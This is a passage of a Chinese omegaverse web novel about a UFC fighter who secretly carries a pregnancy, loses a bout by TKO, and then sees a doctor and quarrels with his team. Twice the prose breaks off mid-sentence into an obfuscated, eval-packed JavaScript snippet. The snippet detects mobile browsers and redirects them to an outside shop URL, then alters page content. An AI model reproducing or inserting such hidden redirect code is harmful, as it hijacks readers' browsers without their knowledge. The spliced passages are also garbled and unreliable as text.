随着主持人话音落下,奥康纳分腿站立在蓝角,面朝观众伸展双臂,宛如上帝之子沐浴圣光。随即,主持人开始介绍洛城:“接下来介绍他的对手——红角选手!他是一名踢拳格斗家,职业战绩为十八胜二负一平,身高为一米八氿、称重体重为93公斤,来自中国平兴,现在是轻重量级排名第五的选手——The iron fist,洛城!” 摄影师镜头转向红角,期待拍到一些煽动人心的画面,但是洛城居然只抱一抱拳,便意性阑珊地松开手,抬眸望向了别处。此时比赛即将开始,摄影师也只得失望地退出笼子,爬到了角柱后的位置。 灯光像流水一般变幻,两名选手走向笼心,来到裁判赫伯-迪恩的左右两侧。绑着一头脏辫的黑人裁判抬手抵在两人胸前道:“All right gentlemen,we’ve been stated the rules,protect yourself all time,follow my instruct。Fairpetition and clean,touch glove, let’s do it!” 洛城的红色拳套和格伦的黑色拳套在空中轻轻一碰,两人即刻退回各自角落,比赛开始。 “令人期待已久的对决,此时此刻,终于在申城上演!”国内知名解说员张中翔坐在解说席上兴奋地说着,语调难掩激动:“从奥康纳升重的那一刻,我就预感他要跟洛城对上,只是没想到会这么快!” “确实难以置信。”另一名解说员陈俊声音带笑,似乎颇为兴味:“奥康纳作为UFC中最会包装炒作的选手,我以为他会跟排名第一的骨头或者瑞帅打一场,没想到Dana居然给他配了洛城。” “哈哈哈哈!”张中翔发出了然的笑声,促狭道:“饭要一口一口吃,对手要一个一个打。你上来就挑战金腰带,这不摆明了是关系户,那别人还玩不玩了?” 正说着,笼中相互对峙的二人忽然有了动作——奥康纳终于耐不住洛城的按兵不动,脚下猛地上前,用前手刺拳点了他一下。洛城虽然状态不佳,但这种程度的攻击还是能轻松闪过,只见他肩部轻轻摇闪、向左一偏,云淡风轻地躲了过去。张中翔立即叫好:“完美的摇闪!洛城今天依旧是惯用的反架,但奥康纳不知怎么的,居然换成了正架!他这是什么战术?” “为了防洛城的左手拳吧。”陈俊眼镜一闪,见解十分犀利。果然,奥康纳此次比赛处处把控着距离,一波组合拳打完立即退开,避免与洛城贴身近战的同时,又能保留自己长臂展的优势。这种情况下,洛城只有压近距离,贴身换拳才能对奥康纳造成伤害。然而两人的力量差距过于明显,贸然进攻极有可能被他的后手拳打中,这样就凶多吉少了。 “这一次比赛,洛城的体型比上次打约书亚时还要瘦,跟奥康纳对比起来,几乎小了半个号!也不知道他的团队制定的是什么战术。” “应该是防守反击,你看洛城一直在等奥康纳进攻。这个战术没什么大问题,毕竟奥康纳有臂展优势,只不过有点儿太谨慎了,不像他以前的风格。” “……观众看得不爽。” “哎对!” 以前洛城的风格是咄咄逼人型的,占据笼心朝对手一步一步压近,经常把人逼到笼网边上。但是这一次,他沿着笼边跟奥康纳缓缓周旋着,像一只耐心的水鸟,等待鱼儿的靠近。终于,奥康纳发动进攻,左腿上前半步,前手刺拳、后手直拳接踵而至。洛城又是一个摇闪,脚下轻松退开,并不正面迎接。 被他的逃避躲得心浮气躁,奥康纳面色发狠,咬着牙急追逼近,洛城忽然脚下一定,左腿一扫,“啪”一声清脆又响亮,狠狠踢在奥康纳小腿肚上!不禁一个踉跄,奥康纳赶忙稳住身形,洛城的右手刺拳却已带着风挥到眼前,在他护着脖颈的手臂上狠狠点了一下! “喔!十分精彩的组合技!奥康纳的左腿遭到洛城的重扫,马上红肿了一片!万幸他的抱架没有松弛,不然被洛城直接打中脖颈的话,不晕也得晃几秒。” 解说员兴奋地大叫着,观众席也是一阵欢呼,人群接二连三地站了起来。这一番短兵相接,比赛终于渐入佳境,二人相互游走试探、伺机进攻,如飓风一般,接连打出了好几波精彩的攻防。 奥康纳的左腿由于受到重扫,脚步移动已经不如一开始那么灵活。为了防住洛城的进攻,他使出了自己的招牌技——前手长长地朝前探出,像防暴叉似的,测试距离的同时也不断干扰洛城的前手拳,一伸一伸地抓他的手。洛城不为所动,稍作游走试探之后,他又是一脚冷不防的低扫,重重踢在刚才击中的地方! 那一刻,所有人都看见,奥康纳的脸狰狞地扭曲了一瞬,随即匆忙向后退去。见状,洛城眼中精光一亮,身体当即下潜,搂住他的腰狠狠一扑,将人用力摔在了血迹斑斑的地板上! “漂亮的take down!洛城这一次的战术中果然有柔术的部分!奥康纳是纯粹的站立选手,洛城虽然不精于柔道,但对付他还是绰绰有余!” 一旦进入地面,奥康纳的优势便大为消减,腋下立刻被洛城卡住了把位。他引以为傲的长臂徒劳地向后撑着,气喘吁吁,身体虾行企图摆脱桎梏。然而这一倏忽,便被洛城转过身体,拿住了后背位! 眼看他那条长长的手臂用力勒向奥康纳紧紧颔首的脖颈,台下所有观众都期待地喊叫起来,指望着一个干净利落的裸绞。然而就在这时,奥康纳居然用后背顶着洛城的身体,脚下沉重地发力,硬生生将人驮了起来,直压到笼网上! “令人难以置信!”张中翔不禁连连惊呼:“他俩的力量居然悬殊到如此地步,洛城完全压不住奥康纳……他被顶在笼网上,没办法了,只好放弃这次机会!” 台下,闻人律紧张地看着,不自觉地站了起来。此时,洛城已经松开奥康纳,气喘吁吁地退到了笼心。经过这一番贴身角力,奥康纳的呼吸也乱了些,身上汗如雨下,面部已完全红温。左脚的疼痛令他再难保持正架,在边角团队的指示声中,他缓缓收回左腿,右腿朝前,换回了他惯用的反架。 见状,两名解说员不约而同地深吸一口气:“来了,奥康纳的左后手重炮,即将在八角笼中上演!” 果然,在换回反架后,奥康纳立即挥动长臂,一套组合拳直逼着洛城而来!奥康纳的拳法在轻重量级绝对是前三的水平,洛城闪过了他的前手拳,又晃过他的后手拳,却还是没躲过第三下勾拳,被重重地擦到颧骨,一道鲜血立即沿着面颊淌落下来。 抬手匆忙擦去,在奥康纳再次前压之时,洛城虎目一瞪,右拳猛地打出,用力砸在奥康纳颈侧!然而同一时刻,他的左腮也被打中了,只不过因为摇闪卸了一些力,没有造成晕眩。奥康纳的下巴很有些硬,洛城的前手拳砸在上面仿佛不痛不痒,他依旧汹涌地前压进攻,然而这正中洛城的下怀—— 左手在极近的距离隐蔽地挥出一记勾拳,重重击打在奥康纳肋部,仿佛一记重锤。那一刻,奥康纳呼吸一窒,立即疾步朝后退去,同时抬起抱架狼狈抵御洛城的追击。直拳、上勾拳接一二连击,洛城抓到机会开启猛攻,但奥康纳已经做好防御,最后也只是被擦到了一两拳,伤害并不严重。 “洛城的左手寸拳真是厉害啊,那么短的发力路程,愣是把奥康纳打得岔了气!”解说员难掩激动地惊叹着,忍不住期盼道:“距离第一回合结束还有二十秒,不知道洛城还能不能再打出一记漂亮的左手拳呢?” 可奥康纳上了一次当,又岂会那么轻易地重蹈覆辙?在苟过岔气的那几秒后,他努力调整呼吸,直起腰重振旗鼓,脚下又跃跃欲试地朝洛城逼过去。身后,边角团队在大声喊:“他的抱架很高,想防你的后手拳,你可以伺机击腹,打他的右肋!” 这时,倒数十秒的打板声响起,洛城的双眼一眨,磅礴战意像闪烁的烛火,倏然恍惚了一寸。奥康纳立即抓住时机,脚下猛进一步,右手刺拳猎猎挥出。洛城眼神一惊,条件反射地抬高抱架保护脖颈和脑袋,却没想到他的左手却突然降下高度,一个势大力沉的上勾拳,结结实实打在自己的右肋下方! 疼痛像一道闪电,由腹部射向全身,几乎穿透了整个身体。霎时间,洛城感觉自己的呼吸猛地卡住了,所有力气都被冻结,只剩下踉踉跄跄的脚步向后退去,随即被奥康纳乘胜追击,猛地砸倒在地! 四周的惊呼声和脑侧的剧痛之中,结束的哨声响起,裁判赫伯迪恩猛扑过来,挡在了自己与奥康纳中间。洛城像虾米似的蜷缩在地板上,面色煞白,张着唇艰涩地喘息,很快被冲进笼中的曹教练搂进怀里:“怎么样,能呼吸吗?慢慢吸气,跟着我的节奏,吐气,吸气……” 喉中发出“嗬、嗬”的鸣音,洛城忍不住重重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572153|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓住他的手腕,嘶哑道:“肚子,肚子好痛……” “肚子?是肝这里吗?”曹教练着急地把冰袋放在他的右肋,轻轻按摩:“好一点没有?” 不是,不是肝……应该说,不止是肝,整个肚子、肋部、连带着小腹,都好痛。尤其是小腹,一扯一扯的,仿佛拉扯到了内脏,疼得令他喘不过气。边角团队围着他又冰敷又搓揉,按摩了约莫半分钟,他才终于缓过气,被搀扶着坐到板凳上。 “还能继续比赛吗?”见他面色依旧青白,曹教练预感不妙,神情十分肃穆。洛城用电解质水漱漱口,随即艰涩地点了点头:“……没问题,我至少得撑到第四回合,不能这么早认输。” “行,那第二回合你记得多做扫踢,限制他的步伐。咱们继续打防守反击,趁他进攻时贴身换拳,再伺机take down,就算压制不住,也能赚点儿印象分……” 听着曹教练的叮嘱,洛城的双眼直勾勾望着蓝角的奥康纳,心不在焉地点点头——他看见奥康纳的教练不时回头看自己,伸手指指点点,眼神朝腹部逡巡。随即,奥康纳也看了过来,那双在浓眉下深陷的蓝色眼睛,透着发现猎物弱点的兴奋感,咧开嘴朝自己露出了迫不及待的笑容。 洛城心中忽然升起了不妙的预感。 叮嘱了十来秒,一分钟的休息时间很快结束。边角团队收拾好医疗包鱼贯走出笼子,曹教练刚迈下台阶,就见不远处贵宾席上,闻人律在人群中焦灼地站起身,用口型朝他发问:“他怎么样?” 讳莫如深地抿紧唇、摇摇头,曹教练不再表示,跟着其他人来到边角,开始关注第二回合的比赛。 比赛的哨响开始,这一次奥康纳不再与洛城周旋,而是十分激进地冲上前,如猛虎出笼,在臂展距离的边缘压着洛城猛击。洛城架着手臂防御了数下,摇闪之中,他绕着笼边且战且退,不时瞄着奥康纳换拳的间隙猛地直拳出击,同样也擦到了他几下。但是奥康纳的出拳太过密集,他无法近身,臂展又稍逊,也就打不出有效攻击。无法,洛城只得屏息静气地等待着,在奥康纳一波进攻结束之后,他猛地下潜、企图抱摔,却不料奥康纳眼睛一亮,右脚上前一步,左手一记势大力沉的勾拳,重重地又打在刚才受创的位置! “嘭”一声沉闷,饶是洛城绷紧肌肉有所防备,依旧疼得面色煞白。教练团四人紧张地都趴在了笼边上,不禁朝他大喊:“防击腹!防他的爆肝拳!”但奥康纳像是嗅到了血腥味的鬣狗,又怎么会轻易放弃这个弱点?于是接下来的时间,所有人都看见他跃跃欲试地逼近洛城,每次组合拳都以击腹的勾拳结束,上下开弓,洛城再勉力防备,还是被他迅疾地偷到两三拳,小腹被打得愈发红肿。 “奇了怪了,洛城的腹部以前没有这么脆弱啊?”台下,陆庭风看着此景,忍不住偏头同老友讨论。但是闻人律没有回答——他已经说不出话了,剑眉紧紧蹙着,一双凤眼焦灼地望着台上,呼吸艰难。他心里有一种不妙的预感:洛城也许撑不到下一回合了。 一拳、两拳、三拳,腹部每被击中一拳,肚子深处就会抽搐一下,某个地方绞得天翻地覆。洛城勉力呼吸着,拼尽全力想要防下奥康纳的每次进攻,但这个爱尔兰选手的出拳是如此迅疾,自己始终无法全部躲开。左侧上脑又被重重地擦到一下,晕眩之中,洛城恍惚间感觉不大对劲……股缝里怎么黏黏的,好像有什么东西热乎乎地淌出来,沾在了他的内裤上。 这一走神,肚子上立即又挨了奥康纳一拳。洛城被打得呼吸猝然停止,那瞬间小腹里剧烈抽紧,疼得他再难坚持,踉跄着倒了下来。奥康纳的补拳立即接踵而至,像胜利的银背大猩猩一般,挥着长臂一拳拳砸向他的侧颈和小腹。剧痛之中,洛城下意识蜷紧身躯,护住了自己的肚子……不知过了多久,好像是三秒,又好像是漫长的恍惚一念,有人扑到了自己的身上,挡住奥康纳的进攻,同时振臂高呼:“It’s over!” 在第二回合的第二分十一秒,居然就以tko终结了比赛,如此迅疾……整个场馆的观众沸腾了,只不过是愤怒地沸腾。嘘声和倒彩声像海浪一般砸下来,铺天盖地,然而洛城已经听不见了——如今他的整颗心都牵挂着自己剧痛的小腹,以及屁股间黏糊糊的东西。 边角团队走进笼子,扶着他坐到角落,曹教练捧起他的脑袋仔细检查:“怎么样,阿城,你还清醒吗?看我的手指,这是几?……” 无力地推开他的手,洛城恍惚地抬起眼,眼底全是爆裂的血丝,口中念念有词:“快,我要去医院,它要没了,我要去医院……” “什么?”听不清他的话,此时医护人员递来t恤,曹教练耐着性子替他穿上,正想继续检查,却不料这个人抠着笼网歪歪斜斜地站起身,像无头苍蝇一般推开他,又挤开笼中的工作人员,跌跌撞撞地冲了出去! “阿城!”一个拉扯不及,这人已经跑出笼子,沿着入场通道朝场外疾奔。闻人律瞠目结舌地望着他从身侧不远处经过,当即冲动地站到座位上,一声大吼:“洛城!你去哪儿!?” 汗湿的卷发凌乱飞舞,狼狈的Alpha匆忙间回头望他一眼,随即不假思索地加快脚步,闷头冲向了出口。 20. 我要保胎 申城某个高档住宅区的大平层内,医生宁祁正靠在沙发上专心地收看UFC比赛直播,一个高挑俊美的Omega男生从边上靠过来,将修长的手臂搭上了他的肩膀,不满道:“怎么还没比完啊,刚才你不是说已经结束了?” “你再等一等,我看个赛后采访就回房,乖啊。”心不在焉地把人搂过来亲一口,宁祁像在搜寻什么似的,两只眼睛一直黏在屏幕上。见状,情人负气地推开他,气鼓鼓地走了,他也不以为意,只漫不经心地从桌上拿过冰啤酒喝一口,自言自语道:“洛城怎么比完赛就不见了……不会连赛后采访也不出席吧?” 话音刚落,正在充电的手机就响了起来。一般这时候只有医院会给他打电话,他拿到眼前一看,果然是急诊科的号码。悠闲的心情顿时烟消云散,他心累地摁下接听键:“喂?”那头值班医生的语气却不是紧迫,而是有些为难:“喂,宁医生啊,不好意思这么晚打扰你……是这样,有个病人来看病,但他不想让我看,点名说要找你。他长得很高大,约莫有一米九,皮肤比较黑,一身运动打扮,连鞋都没穿……你认不认识他啊?” 什么!宁祁震惊地站了起来,精神瞬间振奋——感情洛城跑医院去了!赶忙道:“我认识我认识!你让他在候诊室等我,我马上过去!” 挂了电话飞快地换下睡衣睡裤,情人听见动静,困惑地从房间里走出来,满脸错愕:“你干嘛,医院又找你?” “对,医院有急事……今晚你自己睡啊,我以后再补偿你。”说着,宁祁拉过他敷衍地亲一口,头也不回地出了门。 ------------------- 深夜的医院十分冷清,门诊综合大楼里灯光晦暗,只有急诊科依旧灯火通明。宁祁从停车场一路疾奔,远远地就见候诊大厅里头,一个高大的身影孤零零地蜷坐在塑料座椅上,脊背佝偻,看上去颓丧又脆弱。 顿时放缓了脚步,宁祁屏息着走过去,低声轻唤:“……洛城?”这个脸上挂着血迹的斗士仓皇抬起头,双目赤红,仿佛看见救星一般站起身猛地抓住他双肩,手上甚至还戴着比赛时的半指拳套:“宁医生!你帮我看看,我出血了……打比赛时出血了,是不是宝宝受了伤?” 出血?宁祁下意识看向他颧骨上的伤口,又隐晦地朝他身下瞥去:“你……你打算如何,是要堕胎,还是保胎?” 洛城顿时哑口无言。 望着他怔忡的神情,宁祁心底燃起了希望,循循善诱道:“它现在可能已经有胎心了。也就是说,它是一个真正的生命了,而不是单纯的细胞。” 六神无主地张张唇,洛城控制不住地开始想象这个未知的小生命……想象她如何在自己腹中孕育,慢慢长大,直至降生。甚至,想象她的第一次笑容、第一次翻身、走路,第一次叫自己爸爸……额际又渗出了细密的汗,只不过这一次是潮热的汗。他听见自己用颤抖的声音说:“我要……我要这个宝宝,我要保胎。” 不禁大喜过望,宁祁克制着激动的心情,声音努力镇定:“好,那你跟我来吧,我让医生开个抽血和b超,帮你检查一下。” 在急诊室外头浑浑噩噩地等了两分钟,宁祁拿着两张单子走出来,带着他往采血处走去。经过大厅时,宁祁看见一旁的自动贩卖机,便问他:“你准备做腹式b超还是纳入式b超?腹式b超要喝水憋尿,纳入式的话……”他用手指比划了一个隐晦的动作:“要插进后面检查。” 洛城的脸不禁生硬地绷了起来,如临大敌一般:“做腹式吧,憋尿就憋尿了。” 于是买了瓶东方树叶递给他:“那待会儿喝这个吧,这个快。” 抽过血来到急诊b超室,洛城一口气灌了大半瓶饮料,坐在等候处焦灼地等待着,宁祁正好利用这段时间对他进行基础的问诊:“刚才你的比赛,我看了,奥康纳的边角团队很厉害,一眼就看出你在保护腹部。我在直播里听得很清楚,他们说你状态不对,腹部好像受了伤,让奥康纳第二回合就专门打那里。” 洛城垂着头,睁着胀痛的双眼呆望着自己赤祼的脚掌,嘴边苦涩的笑容仿佛在哭,难看得要命。 静静地注视他一会儿,宁祁又问:“你刚才说流血了……方便让我看看么?我可以带你去我的办公室,正好也给你拿双拖鞋。” 看?大脑猛地警觉,洛城抬起头,戒备的眼神宛如利剑一般射过去,刺得宁祁当即举起了双手:“我没有别的意思,只是普通的看诊而已。毕竟你的病例比较罕见,为了学习和研究,这种程度的接触以后还会出现很多次的……” “学习和研究?”洛城眼神一凛,面色却更冷峻了:“我什么时候说过要配合你做研究?” 呃。顿时哑口无言,宁祁尴尬半晌,决定还是先退一步:“好,我明白了……要不这样,我上楼去帮你拿拖鞋,你呢,就去卫生间,用纸擦拭一下血迹,拿出来给我看。这样我也好根据出血量判断情况如何,好不好?” 这个办法倒是勉强可以接受。踌躇地收回视线,洛城点点头,站起身,脚步略显蹒跚地朝通道尽头走了过去。望着他高大健壮的背影,宁祁不禁头疼地叹一口气,面露不甘:怎样才能说服他配合自己做课题呢?……这么罕见的病例,可不是经常能碰上的啊。 ----------------- 一小时后,孕三项和b超的检查结果出来了。 “hcg的数值依旧很高,胚囊的情况也不错,有3cm大了,胚芽和心跳都看得很清楚。”说着,宁祁把b超单推到洛城面前,用手指点一点黑糊糊影像中那个小小的蝌蚪状发光物体:“喏,这个小球球,就是你的宝宝。一开始我还以为它是双胞胎呢,hcg那么高……结果照出来只有一个。不过它发育得很不错,至于流血,大概是受到重击,胎盘的微血管有些破裂了。但从目前来看,胎心是没有问题的……先观察一天吧。一天之后如果还是流血,我再给你开药。” 洛城的出血量不多,擦在纸巾上约莫鸡蛋大的一片,鲜红鲜红的,断断续续沁出来一点儿。这种孕早期出血的情况宁祁见得多了,所以并不惊慌,甚至还有心思打探洛城的怀孕时间:“你看它,长得多可爱啊,像不像个豆芽?这个大小应该有七周了,再过八个月就会出生……算一算,大概就是明年三月。到时候天气渐暖,宝宝照顾起来也很方便。” 七周?洛城果然下意识地开始回忆某个日期,拧着眉沉闷道:“不对,是六周。” 六周啊……宁祁讳莫如深地记下,脸上依旧不动声色地微笑着,语气轻柔:“那它发育得很好啊,大概率是个高个子呢。” ……是吗?洛城眼底一闪,面色如同春风化雨,露出了一丝柔软。 见状,宁祁见好就收,把所有报告叠好交到洛城手里,克制地道:“今晚就这样吧,你先回家休息。回去不要泡澡,冲澡就行,也别贪凉洗冷水。明天观察一天,看看流血情况……哦,还有,”他忽然想起什么,微微正色,面露担忧:“切记不要太激动,保持冷静——你一比完赛就跑了,赛后采访都不做,UFC那边肯定气疯了。你处理这事的时候一定要平心静气,知道吗?” 仿佛才想起还有这回事,洛城怔忡地瞪大眼,半晌才慢慢落下,耷拉着嘴角露出了不愿面对的绝望神情。他苦笑着把手中的检查单用力攥紧,思虑良久,最终坚定地朝宁祁推过去:“……你拿着吧,帮我销毁。反正我拿回去也是要丢掉的,还怕被人捡到了。” “好,那我拿着。” 站起身,洛城也顾不上说再见,垂着头心事重重地离开了医院。他还穿着宁祁借给他的拖鞋,稍稍小一码,脚趾几乎顶出了边缘。走下大厅外的台阶,踱入深沉的夜色之中,脸上的红肿和伤口终于后知后觉地抽搐起来,跳疼的感觉仿佛活物,在肌肉里一钻一拱。洛城捂着虚软的小腹,抬起头茫然地望向夜空——今日没有月亮,也没有星星,只有浓浓的乌云,将一切遮蔽得严严实实。 --------------------- 离开比赛场馆时,他忘了带手机,当然也没有带钱。 来回的打车费没法儿付,只能问司机借一支笔,在短裤边缘记下电话号码,之后再想办法转账。他长得一副人高马大又武德充沛的模样,人家自然是敢怒不敢言,就当吃了个闷亏,摆摆手放他离去。至于留电话什么的……害,谁知道是不是真的呢。 深夜两点的时间,洛城终于回到自家小区,游魂一般走进电梯里。在光亮的钢铁四壁包围之中,他看着轿厢上反射出的自己模糊的影子,不禁开始质疑今夜的决定——怀孕至少八个月,产后恢复少说也要六个月,一年多的时间就这样蹉跎了。到那个时候再回归比赛,Dana还愿意给他安排对手吗,观众还会记得他吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572154|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……没有答案,一切皆是未知数。 走出电梯,洛城浑浑噩噩地转个弯,抬起头,愕然发现自家房门居然大敞着,里头明晃晃地亮着灯。想到应当是曹教练来了,他走到门边探过脑袋,却见不止是曹教练,邓教练、陆庭风甚至闻人律也在里头,四人沉闷地分散坐在沙发上、餐厅里,室内是炼狱一般的死寂。 咬咬牙,洛城艰涩地咽一下喉咙,视死如归地走了进去。 闻人律的视线立即敏锐地射了过来。 他坐在落地窗前的单人沙发上,正对玄关,因此一眼就看见了沉着脸踏入门扉的洛城。见他全须全尾状态良好,闻人律心里先是松了一口气,怨怼的情绪随即才涌上来,脸上现出怒容。这时,曹教练也看见了洛城,神色一悚,立即小跑着迎上去:“阿城!你去哪儿了,怎么现在才回来?” 洛城不答话,只伸手轻轻推开他,绷着脸仿佛事不关己般走到客厅边缘,生硬道:“我累了……没事的话,你们就先回去吧,我要休息。” “没事……?”难以置信地眯起眼,闻人律几乎荒诞地冷笑出声,神情冰冷彻骨:“你一比完赛就不告而别,丢下三万名观众、丢下你的备赛团队,搞得大家手忙脚乱,被所有人幸灾乐祸地耻笑,你管这叫没事?……洛城,你看赛后发布会了吗?是曹教练替你出席的。他被那些记者们咄咄逼人地追问,好几次都无言以对,坐在那儿尴尬地说不出话,你看见了吗?” 一字一句犹如雷声打在洛城耳中,令他心慌、也令他痛苦。他用力地咬着下唇,眉目紧拧,好像在努力克制着什么,又好像是心有不忿。见状,闻人律不禁更加恼火,抬掌在茶几上一拍,沉声吼道:“说话……!洛城,之前的事我都可以不追究,你赛前掉链子、称重前放浪形骸,或者是第二回合就被tko,我都可以替你找借口!但是现在呢,你还有没有哪怕一点点的责任心、羞耻心?!你要是不想打了,要是不把自己的生涯当回事,那就早点表明态度,别把团队和公司一起拖下水!” “是,我就是不想打了,怎么样?!”终于忍不住怒吼出声,洛城睁着那双被奥康纳打到血丝暴涨的虎目,声嘶力竭地嘶吼了出来。他像一只被逼到陌路的野兽,在绝境之下发出了崩溃的、自暴自弃的喊叫:“随便吧,我不在乎了,你们爱怎样就怎样,总之别来烦我!未来的一年内我都不想比赛了,别跟我说这个事情!什么输赢、什么采访,什么团队公司,通通与我无关!……滚!你们都滚,从我家里滚出去!” 没料到他居然破罐子破摔到这个程度,闻人律愕然睁着双目,只感觉两个肺叶被他气得发疼,呼吸都有些紧迫:“你什么意思……你要跟我解约吗?” “反正解约金我也付得起。”洛城咬着牙,双手握拳,脖子梗得像铁那样硬:“五百万而已,又不是没有!” “你……”难以置信地正想再质问一句什么,身侧陆庭风预感不妙,果断伸手拦住他,息事宁人道:“别说了……别说了!你俩现在都在气头上,吵也吵不出结果的!邓康年,你把洛城带到卧室去……”他又朝曹磊使个眼色,两人便一齐搂住闻人律,将他往门外拖:“不要冲动,有什么事明天再说,我们先回去,都冷静一下……” “谁冲动?”洛城都被邓教练拖到走廊里了,还在不依不饶地回头呛声:“我冷静得很!我就是不想打了,我想得很清楚!” 闻人律一听,面容愈发恼怒,嘴唇都咬得没了血色。见状,陆庭风不再多言,直接把人往外一搡,“呯”一声关上了门。 混乱骤然停止,屋里只剩下自己和邓教练两个人,洛城就像一只松了提线的木偶,从不依不饶的斗鸡变成了一具脱力的躯壳。他顺着墙壁缓缓坐在地板上,颓然望着面前的床铺,神情逐渐变得颓丧:“邓教练……”他把脸埋在手臂间,嗓音嘶哑地传出来:“我是不是……无药可救了?” 望着他乱糟糟的头发,邓康年无奈地叹口气,摇了摇头:“你好好休息吧,别想太多……有什么事以后再说。” 他收拾东西离开了,走之前还说一声:“你的东西都在沙发上。”随后便再无声息。洛城靠着墙壁久久枯坐,脑袋茫然地低垂着,整个人如坠迷雾,不知未来去向何方。臀缝之间,那股潮热的痒意又从身体深处慢慢地钻了出来……他木然地将手伸进裤子,随即抬到眼前,鲜红的血液沾满指腹,甚至顺着手指流了下来。 21. 大事不妙 半夜的街道冷冷清清,汽车在夜风中畅通无阻,一路飞驰。封闭的车厢内,冷气呼呼地吹,司机和闻人律都沉默着,只有陆庭风在不停地絮絮叨叨: “……当年你一头热地要跟洛城签约,我是怎么跟你说的?这个人是很有天赋没错,但他这个散漫的性格、这个缺乏责任心的个性,注定了他会是个定时炸弹,不知道什么时候就要暴雷的!……但你不以为意,说黑红也是红。结果现在呢?网上的新闻已经登出来了,托他的福,奥康纳没挣到什么版面——所有媒体都在对他赛后的落荒而逃大书特书,给咱们登峰好好地长了一回脸!如你所愿,这下真成黑红了。” 闻人律面色黑沉地坐在一旁,仿佛一尊雕像,缄默不言。想到明日要处理的各种事务,陆庭风揉揉太阳穴,又道:“也许洛城说得对,他去腾云也可以发展……你也别不舍得。咱们终究是资历浅,缺乏经验,你又下不了狠心整治他,倒不如趁着他还不算老,把他当个人情转手过去,正好也化解一下你跟褚云争的恩怨。他们现在虽然很针对洛城,但也正是因为明白他的价值所在嘛……等人签到了旗下,腾云的态度肯定会一百八十度大转弯的。” “小林,把车靠边停下。”闻人律忽然这样说。 陆庭风一怔,面露茫然:“干嘛,你想散心啊?” 车子很快在路边缓缓停住,闻人律倾过身替陆庭风打开了车门,面无表情地一挑下巴,道:“下车。” 不明所以,陆庭风试探着跨出一条腿,又不确定地回头望他:“咱们散步到哪儿啊?都两点多了,先回家休息吧……” 却不料,这人忽然面色发狠,提脚一踹,把自己狠狠蹬出了车子!车门随即“呯”一声关上,绝尘而去,陆庭风瞠目结舌地跌坐在地,几秒钟之后才终于反应过来,跌跌撞撞地站起身,在深夜无人的马路边上破口大骂: “好你个闻人律!良药苦口、忠言逆耳知不知道啊?!枉费老子苦口婆心劝了那么久,你、你……你好心当作驴肝肺!你有眼无珠你!你信不信我不跟你混啦!老子明天就给你递辞呈,这些什么乱七八糟的的破事儿,你自己头疼去吧!” ---------------- 洛城想不到自己还有垫“卫生巾”的一天。 冲过温水澡后,下身仍在淅淅沥沥地沁血,无法,他只得扯了许多纸巾叠成一小摞,垫在内裤里。头发湿漉漉的也懒得吹干,他平躺到床上,屁股不禁挪过来又挪过去——臀间的异物感太明显了,令人又烦躁又焦灼。干脆翻身侧躺,再打开手机,微信里、信箱里一瞬间爆出许多信息,吓了洛城一跳。 点开来看,果不其然,都是见他在赛场不告而别后发来的慰问信息。其中问得最执着的是陆良,几分钟前还试图给他打电话:“你去哪儿了呀?要不要出来喝酒,我请你吃烧烤啊。” 哟,这次可真大方。洛城无奈地扯扯唇,给他回复过去:“赢钱了?赢了多少?”他可记得这厮在奥康纳身上下了大注的。 陆良显然还没睡,答得飞快:“赢了两万多。” 两万多!想起奥康纳的赔率,洛城不禁失笑:“你小子,真舍得下本!……不过也挺好,就当是我给未来侄女的满月红包了。” 一见他这样打趣儿,陆良立即放了心,笑骂道:“你想得美!到时候老老实实补一个红包来,今天这钱是我自己赚的,你别想借花献佛。” “行行行好好好,你个小气鬼……” 把他糊弄过去,洛城又点开下一个信息——这次是前女友闻人晴。文静但果决的Omega向来是单刀直入的,第一句话就问:“我们分手的时机是不是不大好?”第二句则是:“……你实在不应该在那时候跟我求婚的,不然我们的关系还能维持到比赛之后。” 分手的这一个半月内经历了太多冲击,洛城对她已然心如止水,此时连苦笑都欠奉,只叹了口气,回道:“我今天的失利与你没有多大关系,是我自己的问题。” 然而这话太像欲盖弥彰了,闻人晴显然不相信:“我们见一面好吗?认真聊一聊。我觉得我有必要跟你好好解释,我们结束得太过草率,可能让你产生了一些误会。” 什么?之前在求婚仪式上拒绝自己还不够,现在还想要再拒绝一次?洛城忙不迭摁住她这个残酷的想法:“不用了,我们之间没有什么误会。我现在刚比完赛,累得要命,你让我安心休息几天,好不好?” 他都这样表示了,闻人晴也不好再纠缠:“好,那你安心休息。” 终于松一口气,洛城扫一眼其他无关人士发来的信息,刚准备把手机放下,不料,这位我行我素的大小姐又发过来一句话:“我会再去找你的。” ……不要再来找我了啊!崩溃地把手机砸到地毯上,洛城拖过枕头往脑袋上用力一裹,长长地、烦闷不堪地哀嚎了一声。 当天晚上,洛城把自己捂在枕头里,天昏地暗地睡了十个钟头。 醒来时已是中午十二点。 明亮的阳光给人一种恍如隔世的感觉,就好像之前那些令人绝望的事情从未发生,一切都只是梦境。傻呆呆地望着床单上的褶皱,洛城心中忽然生出一种把它们抚平的冲动。然而伸手抻平了,再收回手,皱痕便又浮了出来。不禁泄了气,他缓缓支起身体,认命地爬下床——有些事情,发生了就是发生了,粉饰太平也只是一瞬间,最终都是要面对的。 